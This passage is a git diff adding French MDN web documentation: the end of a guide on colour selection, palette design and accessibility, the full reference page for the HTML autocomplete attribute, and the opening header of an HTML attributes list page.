+<p>Il existe différentes situations où l'on peut/doit permettre à l'utilisateur de sélectionner une couleur. Il peut s'agir d'une interface personnalisable, d'une application de dessin, d'une application d'édition où on peut choisir la couleur du texte, etc. Bien que, par le passé, il fut nécessaire d'implémenter son propre sélecteur de couleur, HTML fournit désormais au navigateurs une façon homogène de le faire avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut <code>"color"</code>.</p>
+
+<p>Lorsqu'on choisit une couleur via un élément <code>&lt;input&gt;</code>, la valeur stockée dans le document et envoyée via le formulaire est représentée avec une chaîne de caractères hexadécimale.</p>
+
+<h3 id="Exemple_sélectionner_une_couleur">Exemple : sélectionner une couleur</h3>
+
+<p>Prenons un exemple simple où l'utilisateur choisit une couleur qui est immédiatement appliquée sur la bordure de l'exemple. Une fois la couleur finale sélectionnée, la valeur du sélecteur de couleur est affichée.</p>
+
+<p>{{EmbedLiveSample("Exemple_:_sélectionner_une_couleur", 525, 275)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Sur macOS, pour indiquer qu'on a fini de choisir la couleur, il faut fermer la fenêtre du sélecteur de couleur.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>Voici le fragment HTML qui permet de créer une boîte qui contient un sélecteur de couleur avec un libellé associé (l'élément {{HTMLElement("label")}}) ainsi qu'un paragraphe ({{HTMLElement("p")}}) vide dans lequel nous placerons plus tard du texte avec JavaScript.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+  &lt;label for="colorPicker"&gt;Couleur de la bordure :&lt;/label&gt;
+  &lt;input type="color" value="#8888ff" id="colorPicker"&gt;
+  &lt;p id="output"&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>La feuille CSS détermine la taille de la boîte et une mise en forme simple. La bordure mesure deux pixels de large (mais sera modifiée par le code JavaScript qui va suivre…).</p>
+
+<pre class="brush: css">#box {
+  width: 500px;
+  height: 200px;
+  border: 2px solid rgb(245, 220, 225);
+  padding: 4px 6px;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Le script est utilisé pour mettre à jour la couleur de la bordure afin que celle-ci corresponde à la valeur courante du sélecteur. On ajoute ensuite deux gestionnaires d'évènements pour « écouter » ce qui se passe avec l'élément <code><a href="/fr/docs/Web/HTML/Element/Input/color">&lt;input type="color"&gt;</a></code>.</p>
+
+<pre class="brush: js">let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+  box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+  output.innerText = "Couleur choisie : " + colorPicker.value;
+}, false);</pre>
+
+<p>L'évènement {{event("input")}} est envoyé chaque fois que la valeur de l'élément change, c'est-à-dire chaque fois que l'utilisateur ajuste la couleur via le sélecteur. Pour chacun de ces évènements, on modifie la couleur de la bordure afin qu'elle corresponde à celle du sélecteur.</p>
+
+<p>L'évènement {{event("change")}} est reçu lors de la finalisation du choix de la couleur via le sélecteur. Lorsque cet évènement suvient, on modifie le contenu de l'élément <code>&lt;p&gt;</code> (le paragraphe) qui possède l'identifiant <code>"output"</code> en y ajoutant une chaîne de caractères qui décrit la couleur choisie.</p>
+
+<h2 id="L'art_de_choisir_une_couleur">L'art de choisir une couleur</h2>
+
+<p>Choisir les bonnes couleurs lors de la conception d'un site web peut s'avérer plus compliqué qu'il n'y paraît. Un mauvais choix de couleur peut nuire à l'attractivité du site voire empêcher les utilisateurs de consulter le contenu si le contraste est trop faible ou les couleurs trop criardes. Dans le pire des cas, le site peut être inutilisable à cause des couleurs choisies pour les personnes qui ont des handicaps visuels.</p>
+
+<h3 id="Trouver_les_bonnes_couleurs">Trouver les bonnes couleurs</h3>
+
+<p>Il existe des outils qui permettent de faciliter la sélection des couleurs. Bien qu'ils ne remplacent pas un bon designer, ils permettent au moins de commencer.</p>
+
+<h4 id="La_couleur_de_base">La couleur de base</h4>
+
+<p>La première étape consiste à choisir la couleur de base. C'est la couleur principale qui participe à la définition du site web ou du sujet dont il est question. Par exemple, on associe la couleur jaune à La Poste, le bleu au ciel ou à quelque chose de marin, etc. Voici quelques idées (parmi les nombreuses qui existent) pour choisir une couleur de base :</p>
+
+<ul>
+ <li>Une couleur naturellement associée au contenu : la couleur d'un produit ou une couleur rattachée à un concept/une émotion dont il serait question sur le site.</li>
+ <li>Naviguer parmi les sites existants et les bibliothèques d'image pour puiser de l'inspiration parmi les couleurs.</li>
+</ul>
+
+<p>Une fois la couleur de base sélectionnéee, vous pouvez utiliser certaines extensions de navigateur pour « prélever » des couleurs existantes sur le web. Le site web <a href="http://www.colorzilla.com/">ColorZilla</a>, par exemple, propose une extension (<a href="http://www.colorzilla.com/chrome">Chrome</a> / <a href="http://www.colorzilla.com/firefox">Firefox</a>) qui permet d'utiliser une pipette pour identifier les couleurs utilisées à un endroit d'une page web. Cette extension permet également de mesurer la couleur moyenne des pixels d'une zone donnée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On peut s'apercevoir qu'un site contient plusieurs couleurs très proches les unes des autres, utiliser une « moyenne » permet alors de récupérer le ton principal sous la forme d'une seule couleur.</p>
+</div>
+
+<h4 id="Agrémenter_la_palette">Agrémenter la palette</h4>
+
+<p>Une fois la couleur de base sélectionnée et identifiée, il existe de nombreux outils qui permettent de construire une palette de couleurs qui pourront être utilisées avec cette couleur de base. Ces outils utilisent la théorie des couleurs pour déterminer les couleurs appropriées. Certains de ces outils permettent également de voir les couleurs « filtrées » afin de visualiser ce qu'une personne daltonienne verrait.</p>
+
+<p>Voici quelques exemples (libres d'accès et gratuits au moment où nous écrivons ces lignes) de tels outils :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Couleurs_CSS/Sélecteur_de_couleurs">Le sélecteur de couleur MDN</a></li>
+ <li><a href="http://paletton.com">Paletton</a> (en anglais)</li>
+ <li><a href="https://color.adobe.com/fr/create/color-wheel">La roue des couleurs en ligne d'Adobe Color CC</a></li>
+</ul>
+
+<p>Lorsque vous concevez votre palette de couleurs, gardez à l'esprit qu'en plus des couleurs générées par ces outils, il faudra vraisemblablement prévoir des couleurs neutres (telles que le blanc ou un ton de blanc, du noir ou un ton de noir et certaines nuances de gris).</p>
+
+<div class="note">
+<p><strong>Note :</strong> On utilise généralement le moins de couleurs possibles afin de garder une cohérence. En utilisant des couleurs afin d'accentuer certains éléments plutôt que d'en utiliser pour tous les éléments de la page, on rend le contenu plus facile à lire et à parcourir. De plus, les couleurs ont ainsi plus d'impact</p>
+</div>
+
+<h3 id="Quelques_ressources_sur_la_théorie_des_couleurs">Quelques ressources sur la théorie des couleurs</h3>
+
+<p>Décrire l'ensemble des notions liées à la théorie des couleurs dépasse le sujet de cet article. Toutefois, il existe de nombreux articles traitant de ce sujet ainsi que des cours pour apprendre ces notions. Voici quelques unes des ressources disponibles en ligne à propos de la théorie des couleurs :</p>
+
+<dl>
+ <dt><a href="https://www.khanacademy.org/partner-content/pixar/color">La science des couleurs (en anglais)</a> (<a href="https://www.khanacademy.org/">Khan Academy</a> en association avec <a href="https://www.pixar.com/">Pixar</a>)</dt>
+ <dd>Un cours en ligne qui introduit certains concepts : qu'est-ce qu'une couleur, comment est-elle perçue, comment utiliser les couleurs afin de véhiculer certaines idées.</dd>
+ <dt><a href="https://en.wikipedia.org/wiki/Color_theory">La théorie des couleurs sur Wikipédia (en anglais)</a></dt>
+ <dd>La page Wikipédia qui traite de la théorie des couleurs et qui fournit de nombreuses informations techniques.</dd>
+</dl>
+
+<h3 id="Les_couleurs_et_l'accessibilité">Les couleurs et l'accessibilité</h3>
+
+<p>Une couleur peut poser différents problèmes d'accessibilité. Une couleur mal choisie pourra empêcher certaines personnes d'utiliser l'interface du site, ce qui peut se traduire par une baisse de fréquentation, une mauvaise image (au sens propre comme au figuré), etc.</p>
+
+<p>Pour commencer, n'hésitez pas à vous renseigner sur le daltonisme et les différents types de daltonisme : confusion rouge/vert, confusion sur l'ensemble des couleurs.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Une règle d'or consiste à ne jamais utiliser une couleur comme seule façon d'indiquer une information. Si, par exemple, vous souhaitez indiquer une réussite ou un échec en changeant uniquement la couleur d'un symbole (un drapeau par exemple), les utilisateurs souffrant de daltonismes et avec une confusion rouge/vert ne pourront pas lire cette information. Il est sans doute préférable d'utiliser du texte et de la couleur afin que tout le monde puisse être en mesure de comprendre ce qui a changé.</p>
+</div>
+
+<p>Pour plus d'informations sur le daltonisme, vous pouvez consulter les articles suivants (en anglais, n'hésitez pas à éditer la page pour ajouter des ressources francophones) :</p>
+
+<ul>
+ <li><a href="https://medlineplus.gov/colorblindness.html">Medline Plus: Color Blindness</a></li>
+ <li><a href="https://www.aao.org/eye-health/diseases/what-is-color-blindness">American Academy of Ophthamology: What Is Color Blindness?</a></li>
+ <li><a href="https://www.usability.gov/get-involved/blog/2010/02/color-blindness.html">Color Blindness &amp; Web Design</a></li>
+</ul>
+
+<h3 id="Un_exemple_de_conception_de_palette">Un exemple de conception de palette</h3>
+
+<p>Considérons un exemple rapide pour construire une palette. Imaginons qu'on souhaite construire un site web pour un jeu dont l'action se déroule sur Mars. On peut <a href="https://www.google.com/search?q=Mars&amp;tbm=isch">rechercher des images relatives à Mars sur Google</a> ou sur un autre moteur de recherche. On utilise un sélecteur de couleur pour sélectionner un échantillon de couleur.</p>
+
+<p>Avec une pipette, on identifie la couleur de base : c'est la couleur de code <code>D79C7A</code>, qui correspond à un rouge orangé rouillé, typique de l'imaginaire collectif pour la surface martienne.</p>
+
+<p>Une fois la couleur de base sélectionnée, on construit la palette. Pour cela, nous avons choisi <a href="http://www.paletton.com/">Paletteon</a> afin de compléter avec d'autres couleurs. Lorsqu'on ouvre Palleton, on voit ceci :</p>
+
+<p><img alt="L'affichage du site Palleton après l'ouverture" src="https://mdn.mozillademos.org/files/15451/paletton1.png" style="height: 361px; width: 600px;"></p>
+
+<p>Ensuite, on saisi le code de la couleur (<code>D79C7A</code>) dans le champ "Base RGB" situé en bas à gauche de l'outil :</p>
+
+<p><img alt="After entering base color" src="https://mdn.mozillademos.org/files/15453/paletton2.png" style="height: 361px; width: 600px;"></p>
+
+<p>On obtient alors une palette monochromatique, basée sur la couleur sélectionnée. Si vous avez besoin d'un nuancier autour de cette couleur, la palette monochromatique pourra sans doute vous aider. Mais ici, on souhaite plutôt avoir une couleur qui ressorte, pour cela on clique sur le case "<em>add complementary</em>"sous le menu permettant de sélectionner le type de palette (et qui vaut "Monochromatic"). Paletteon calcule alors une couleur complémentaire appropriée et indique le code de cette nouvelle couleur dans le coin inférieur droit : <code>#508D7C</code>.</p>
+
+<p><img alt="Now with complementary colors included." src="https://mdn.mozillademos.org/files/15455/paletton3.png" style="height: 361px; width: 600px;"></p>
+
+<p>Si vous n'êtes pas satisfait du résultat obtenu, vous pouvez faire varier le schéma de composition. Ainsi, on pourra utiliser le thème "Triad" qui fournira le résultat suivant :</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15457/paletton4.png" style="height: 361px; width: 600px;"></p>
+
+<p>On obtient alors un bleu gris en haut à droite. En cliquant dessus, on obtient le code <code>#556E8D</code>. On pourra utiliser cette couleur afin d'accentuer certains éléments tels que les titres ou les onglets mis en évidence ou bien d'autres indicateurs sur le site :</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15459/paletton-color-detail.png" style="height: 370px; width: 526px;"></p>
+
+<p>Maintenant, nous disposons d'une couleur de base, d'une couleur d'accentuation ainsi que de variations autour de celles-ci au cas où nous aurions besoin de dégradés.  On peut exporter les couleurs sous différents formats afin de les utiliser.</p>
+
+<p>Avec ces couleurs, il faudra probablement sélectionner quelques couleurs neutres. Une pratique courante consiste à trouver le contraste suffisant pour que le texte soit pleinement lisible mais sans que ce contraste soit trop fort. Il est facile de s'égarer dans l'une ou l'autre des directions : n'hésitez pas à demander des retours sur les couleurs que vous avez sélectionnées. Si le contraste est trop faible, le texte sera illisible et on ne pourra pas le distinger de l'arrière-plan, cela pourra également poser des problèmes d'accessibilité. Si le contraste est trop élevé, le site pourra paraître criard.</p>
+
+<h3 id="Les_couleurs_les_arrière-plans_le_contraste_et_l'impression">Les couleurs, les arrière-plans, le contraste et l'impression</h3>
+
+<p>Le rendu d'un document peut être différent selon que ce dernier est affiché sur un écran ou sur du papier. De plus, sur papier, on peut chercher à économiser l'encre superflu. Lorsqu'un utilisateur imprime une page, il n'est par exemple peut-être pas nécessaire d'imprimer les arrière-plans. Par défaut, la plupart des navigateurs retire les images d'arrière-plan à l'impression.</p>
+
+<p>Si les couleurs d'arrière-plan ou les images sont importantes pour l'ensemble du document, on peut utiliser la propriété {{cssxref("color-adjust")}} afin d'indiquer au navigateur qu'il ne faut pas modifier l'apparence du contenu.</p>
+
+<p>Par défaut, la propriété <code>color-adjust</code> vaut <code>economy</code> et indique au navigateur qu'il peut modifier l'apparence afin d'optimiser la lisibilité du contenu et d'économiser de l'encre selon le support d'imprimerie.</p>
+
+<p><code>color-adjust</code> peut être paramétré avec la valeur <code>exact</code> afin d'indiquer au navigateur qu'un ou plusieurs éléments doivent être conservés tels quels afin que l'ensemble du document ne soit pas détérioré.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il n'est pas garanti que le navigateur respecte exactement la feuille de style utilisée avec <code>color-adjust: exact</code>. En effet, si le navigateur fournit une option à l'utilisateur pour ne pas imprimer les arrière-plans, ce réglage prendra le pas sur la feuille de style.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des graphiques</a></li>
+ <li><a href="/fr/docs/Web/Guide/Graphics">Le graphisme sur le Web</a></li>
+ <li><a href="/fr/docs/Outils/Couleurs_des_DevTools">Un outil de sélection de couleur sur MDN</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs/autocomplete/index.html b/files/fr/web/html/attributs/autocomplete/index.html
new file mode 100644
index 0000000000..fca919718d
--- /dev/null
+++ b/files/fr/web/html/attributs/autocomplete/index.html
@@ -0,0 +1,228 @@
+---
+title: autocomplete
+slug: Web/HTML/Attributs/autocomplete
+tags:
+  - Attribut
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Attributes/autocomplete
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'attribut <code>autocomplete</code> est disponible pour différents types d'éléments {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, {{HTMLElement("select")}} et {{HTMLElement("form")}}. <span class="seoSummary"><code>autocomplete</code> permet d'indiquer à l'agent utilisateur qu'une assistance de saisie automatique peut être fournie et également d'indiquer le type de donnée attendu.</span></p>
+
+<p>La source fournissant les valeurs suggérées pour l'autocomplétion dépend du navigateur. Généralement, celle-ci est constituée des valeurs saisies précédemment par l'utilisateur. Ce peuvent également être des valeurs préconfigurées. Ainsi, un navigateur pourra permettre à un utilisateur d'enregistrer son nom, son adresse, son numéro de téléphone et des adresses électroniques pour l'aider lors de l'autocomplétion. Le navigateur pourrait également fournir le stockage chiffré des informations de cartes bancaires et déclencher une procédure d'authentification lorsque ces informations doivent être récupérées pour être utilisées.</p>
+
+<p>Si l'élément {{HTMLElement("input")}}, {{HTMLElement("select")}} ou {{HTMLElement("textarea")}} ne possèdent pas d'attribut <code>autocomplete</code>, le navigateur utilisera l'attribut <code>autocomplete</code> du formulaire associé (c'est-à-dire l'élément {{HTMLElement("form")}} qui est l'ancêtre de l'élément <code>&lt;input&gt;</code> ou l'élément <code>&lt;form&gt;</code> dont la valeur de l'attribut <code>id</code> correspond à celle indiquée avec l'attribut {{htmlattrxref("form", "input")}} de l'élément <code>&lt;input&gt;</code>).</p>
+
+<p>Pour plus d'informations, voir la documentation de l'attribut {{htmlattrxref("autocomplete", "form")}} pour l'élément {{HTMLElement("form")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Afin de fournir des fonctionnalités d'autocomplétion, un agent utilisateur pourra utiliser les prérequis suivants quant aux éléments <code>&lt;input&gt;</code>/<code>&lt;select&gt;</code>/<code>&lt;textarea&gt;</code>:</p>
+
+<ol>
+ <li>Que ceux-ci aient un attribut <code>name</code> et/ou <code>id</code></li>
+ <li>Que ceux-ci descendent d'un élément <code>&lt;form&gt;</code></li>
+ <li>Que le formulaire associé ait un bouton {{HTMLElement("input/submit","submit")}}</li>
+</ol>
+</div>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<dl>
+ <dt><code>off</code></dt>
+ <dd>Le navigateur n'est pas autorisé à saisir automatiquement des valeurs pour ce champ. Cette valeur peut être utilisée lorsque le document ou l'application fournit son propre mécanisme d'autocomplétion ou lorsque des raisons de sécurité imposent de ne pas pouvoir saisir la valeur automatiquement.
+ <div class="note"><strong>Note :</strong> Pour la plupart des navigateurs modernes, utiliser <code>autocomplete="off"</code> n'empêchera pas un gestionnaire de mots de passe de demander à l'utilisateur s'il souhaite sauvegarder le nom d'utilisateur et le mot de passe ou de renseigner automatiquement les informations pour un formulaire de connexion. Voir <a href="/fr/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">l'article sur l'attribut <code>autocomplete</code> et les champs des formulaires de connexion</a>.</div>
+ </dd>
+ <dt><code>on</code></dt>
+ <dd>Le navigateur est autorisé à compléter automatiquement le champ. Aucune indication supplémentaire n'est fournie quant au type de donnée attendu et c'est donc au navigateur d'utiliser une heuristique pour proposer des valeurs pertinentes.</dd>
+ <dt><code>name</code></dt>
+ <dd>Le champ correspondant doit recevoir le nom complet de la personne. Utiliser cette valeur plutôt que les différents composants est une méthode souvent privilégiée car on évite ainsi de gérer les différents structures des différentes locales. Toutefois, on peut utiliser les composants suivants si on souhaite décomposer l'identité de la personne :
+ <dl>
+  <dt><code>honorific-prefix</code></dt>
+  <dd>Le préfixe ou le titre, par exemple « M. », « Mme. », « Me. » , etc.</dd>
+  <dt><code>given-name</code></dt>
+  <dd>Le prénom.</dd>
+  <dt><code>additional-name</code></dt>
+  <dd>Le deuxième prénom.</dd>
+  <dt><code>family-name</code></dt>
+  <dd>Le nom de famille.</dd>
+  <dt><code>honorific-suffix</code></dt>
+  <dd>Un suffixe (par exemple "Jr.").</dd>
+  <dt><code>nickname</code></dt>
+  <dd>Un surnom.</dd>
+ </dl>
+ </dd>
+ <dt><code>email</code></dt>
+ <dd>Une adresse électronique.</dd>
+ <dt><code>username</code></dt>
+ <dd>Un nom de compte ou un nom d'utilisateur.</dd>
+ <dt><code>new-password</code></dt>
+ <dd>Un nouveau mot de passe. Lors de la création d'un compte ou lors d'un changement de mot de passe, cette valeur pourra être utilisée pour le champ où saisir le nouveau mot de passe. Ainsi, on évitera au navigateur de saisir automatiquement le mot de passe actuel ou le navigateur pourra même proposer un outil permettant de créer un mot de passe sécurisé.</dd>
+ <dt><code>current-password</code></dt>
+ <dd>Le mot de passe actuel de l'utilisateur.</dd>
+ <dt><code>one-time-code</code></dt>
+ <dd>Un code à usage unique, utilisé pour vérifier l'identité de l'utilisateur.</dd>
+ <dt><code>organization-title</code></dt>
+ <dd>Un titre de poste tel que « Directeur général », « Assistant technique » ou « Ingénieur ».</dd>
+ <dt><code>organization</code></dt>
+ <dd>Le nom d'une entreprise ou d'une organisation.</dd>
+ <dt><code>street-address</code></dt>
+ <dd>Une adresse postale. Cette adresse peut être un texte sur plusieurs lignes et devrait permettre d'identifier complètement l'emplacement de l'adresse au sein d'une ville. Cette valeur n'inclut pas le nom de la ville, le code postal ou le nom du pays.</dd>
+ <dt><code>address-line1</code>, <code>address-line2</code>, <code>address-line3</code></dt>
+ <dd>Des lignes individuelles pour décrire l'adresse postale. Ces valeurs peuvent être utilisées seulement lorsque la valeur <code>street-address</code> est absente.</dd>
+ <dt><code>address-level4</code></dt>
+ <dd>Le niveau d'adresse le plus fin (cf. la section ci-après) lorsque les adresses ont quatre niveau.</dd>
+ <dt><code>address-level3</code></dt>
+ <dd>Le troisième niveau de précision d'une adresse (cf. la section ci-après) lorsque les adresses ont au moins trois niveaux administratifs.</dd>
+ <dt><code>address-level2</code></dt>
+ <dd>Le deuxième niveau de précision d'une adresse (cf. la section ci-après) lorsque les adresses ont au moins deux niveaux administratifs. Pour les pays avec deux niveaux administratifs, cela correspond généralement à la ville, au village ou à la localité de l'adresse.</dd>
+ <dt><code>address-level1</code></dt>
+ <dd>Le premier niveau de précision d'une adresse (cf. la section ci-après). C'est généralement la région ou l'état dans lequel se situe l'adresse.</dd>
+ <dt><code>country</code></dt>
+ <dd>Un code de pays.</dd>
+ <dt><code>country-name</code></dt>
+ <dd>Un nom de pays.</dd>
+ <dt><code>postal-code</code></dt>
+ <dd>Un code postal.</dd>
+ <dt><code>cc-name</code></dt>
+ <dd>Le nom complet tel qu'indiqué sur une carte bancaire. On préfèrera généralement utiliser le nom complet plutôt que de le décomposer en fragments.</dd>
+ <dt><code>cc-given-name</code></dt>
+ <dd>Le prénom tel qu'indiqué sur une carte bancaire.</dd>
+ <dt><code>cc-additional-name</code></dt>
+ <dd>Le deuxième prénom tel qu'indiqué sur une carte bancaire.</dd>
+ <dt><code>cc-family-name</code></dt>
+ <dd>Le nom de famille tel qu'indiqué sur une carte bancaire.</dd>
+ <dt><code>cc-number</code></dt>
+ <dd>Le numéro de la carte bancaire ou tout autre numéro identifiant une méthode de paiement (ce peut être un numéro de compte par exemple).</dd>
+ <dt><code>cc-exp</code></dt>
+ <dd>La date d'expiration de la méthode de paiement telle qu'indiquée sur une carte bancaire (généralement sous la forme MM/YY ou sous la forme MM/YYYYY où MM correspond aux deux chiffres du mois et où YY ou YYYY correspondent aux chiffres de l'année).</dd>
+ <dt><code>cc-exp-month</code></dt>
+ <dd>Le mois d'expiration du moyen de paiement tel qu'indiqué sur une carte bancaire.</dd>
+ <dt><code>cc-exp-year</code></dt>
+ <dd>L'année d'expiration du moyen de paiement tel qu'indiqué sur une carte bancaire.</dd>
+ <dt><code>cc-csc</code></dt>
+ <dd>Le cryptogramme du moyen de paiement tel qu'indiqué sur une carte bancaire. il s'agit généralement du code à trois chiffres de vérification situé au dos de la carte bancaire.</dd>
+ <dt><code>cc-type</code></dt>
+ <dd>Le type de moyen de paiement ("Visa" ou "Master Card").</dd>
+ <dt><code>transaction-currency</code></dt>
+ <dd>La devise utilisée pour la transaction courante.</dd>
+ <dt><code>transaction-amount</code></dt>
+ <dd>Le montant de la transaction, pour un formulaire de paiement, exprimé dans la devise fournie par <code>transaction-currency</code>.</dd>
+ <dt><code>language</code></dt>
+ <dd>La langue préférée, indiquée sous la forme <a href="https://en.wikipedia.org/wiki/IETF_language_tag">d'une balise de langue valide selon BCP 47</a>.</dd>
+ <dt><code>bday</code></dt>
+ <dd>Une date de naissance complète.</dd>
+ <dt><code>bday-day</code></dt>
+ <dd>Le jour du mois de la date de naissance.</dd>
+ <dt><code>bday-month</code></dt>
+ <dd>Le mois de l'année de la date de naissance.</dd>
+ <dt><code>bday-year</code></dt>
+ <dd>L'année de la date de naissance.</dd>
+ <dt><code>sex</code></dt>
+ <dd>Un genre (tel que « femme », « homme », « Fa'afafine » etc.) sous la forme d'un texte libre sans passage à la ligne.</dd>
+ <dt><code>tel</code></dt>
+ <dd>Un numéro de téléphone complet qui inclut l'identifiant du pays. Si le numéro de téléphone doit être décomposé en composants, on pourra utiliser les valeurs suivantes :
+ <dl>
+  <dt><code>tel-country-code</code></dt>
+  <dd>L'indicateur du pays pour le numéro de téléphone (33 pour la France ou 1 pour les États-Unis par exemple).</dd>
+  <dt><code>tel-national</code></dt>
+  <dd>Le numéro de téléphone complet sans l'indicateur du pays.</dd>
+  <dt><code>tel-area-code</code></dt>
+  <dd>La code de la zone pour le numéro de téléphone avec un préfixe interne au pays si nécessaire.</dd>
+  <dt><code>tel-local</code></dt>
+  <dd>Le numéro de téléphone sans l'indicateur de pays ni l'indicateur de zone.</dd>
+ </dl>
+ </dd>
+ <dt><code>tel-extension</code></dt>
+ <dd>Une extension au numéro de téléphone qui permet par exemple d'indiquer le numéro de chambre dans un hôtel ou le numéro d'un bureau au sein d'une entreprise.</dd>
+ <dt><code>impp</code></dt>
+ <dd>Une URL pour un protocole de messagerie instantannée (par exemple "xmpp:username@example.net").</dd>
+ <dt><code>url</code></dt>
+ <dd>Une URL, pertinente dans le contexte du formulaire.</dd>
+ <dt><code>photo</code></dt>
+ <dd>L'URL d'une image représentant la personne, l'entreprise ou l'information de contact pour ce formulaire.</dd>
+</dl>
+
+<p>Voir <a href="https://html.spec.whatwg.org/multipage/forms.html#autofill">la spécification WHATWG</a> pour plus de détails.</p>
+
+<div class="note">
+<p><strong>Note :</strong> À la différence des autres navigateurs, pour Firefox, l'attribut <code>autocomplete</code> contrôlera également si <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">l'état de désactivation ou de coche dynamique persiste lors d'un rechargement de la page</a> pour un champ <code>&lt;input&gt;</code>. Par défaut, un élément reste désactivé ou coché/décoché lors des rechargements. En utilisant l'attribut <code>autocomplete</code> avec la valeur <code>off</code>, on désactive cette fonctionnalité. Cela fonctionne, y compris lorsque l'attribut <code>autocomplete</code> ne devrait pas s'appliquer à l'élément <code>&lt;input&gt;</code> d'après son type. Voir {{bug(654072)}}.</p>
+</div>
+
+<h2 id="Les_niveaux_administratifs_pour_les_adresses">Les niveaux administratifs pour les adresses</h2>
+
+<p>Les quatre niveaux administratifs pour les adresses (<code>address-level1</code> jusqu'à <code>address-level4</code>) décrivent l'adresse avec un niveau de précision croissant au sein du pays dans lequel l'adresse est situé. Chaque pays possède son propre système de division administrative et peut donc organiser les niveaux selon un ordre différent pour l'écriture des adresses.</p>
+
+<p><code>address-level1</code> représente toujours le niveau le plus large : c'est la composante la moins spécifique de l'adresse après la maille du pays.</p>
+
+<h3 id="Disposition_du_formulaire">Disposition du formulaire</h3>
+
+<p>Étant donné qu'une adresse s'écrit différemment selon le pays, il peut être utile, si possible, de fournir différentes dispositions de formulaires pour les utilisateurs (éventuellement en fonction de leur locale) pour faciliter la saisie de leur adresse pour leur pays.</p>
+
+<h3 id="Variations">Variations</h3>
+
+<p>La façon d'utiliser les niveaux administratifs varie d'un pays à l'autre. Voici quelques exemples non exhaustifs.</p>
+
+<h4 id="États-Unis">États-Unis</h4>
+
+<p>Aux États-Unis, une adresse s'écrit généralement comme suit :</p>
+
+<p>432 Anywhere St<br>
+ Exampleville CA 95555</p>
+
+<p>Dans ce cas, la portion la moins précise est le code "CA" (qui correspond au code postal pour l'état de Californie) et on a donc <code>address-level1</code> qui correspond à ce niveau (ici l'état et plus particulièrement : "CA").</p>
+
+<p>La deuxième partie de l'adresse la moins précise est le nom de la ville et c'est donc cette information (ici "Exampleville") qui sera utilisée pour <code>address-level2</code>.</p>
+
+<p>Les niveaux 3 et 4 ne sont pas utilisés aux États-Unis.</p>
+
+<h4 id="Royaume-Uni">Royaume-Uni</h4>
+
+<p>Le Royaume-Uni utilise un ou deux niveaux d'adresse selon l'adresse. Il s'agit de la ville postale et, dans certains cas, de la localité.</p>
+
+<h4 id="Chine">Chine</h4>
+
+<p>La Chine utilise jusqu'à trois niveaux administratifs : la province, la ville et le district.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.autocomplete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML {{htmlelement("input")}}</li>
+ <li>L'élément HTML {{htmlelement("select")}}</li>
+ <li>L'élément HTML {{htmlelement("textarea")}}</li>
+ <li>L'élément HTML {{htmlelement("form")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Les formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les attributs universels</a>.</li>
+</ul>
diff --git a/files/fr/web/html/attributs/index.html b/files/fr/web/html/attributs/index.html
new file mode 100644
index 0000000000..1b1c140c4e
--- /dev/null
+++ b/files/fr/web/html/attributs/index.html
@@ -0,0 +1,767 @@
+---
+title: Liste des attributs HTML
+slug: Web/HTML/Attributs
+tags:
+  - Attribut
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Attributes
+---
+<div>{{HTMLSidebar}}</div>
+
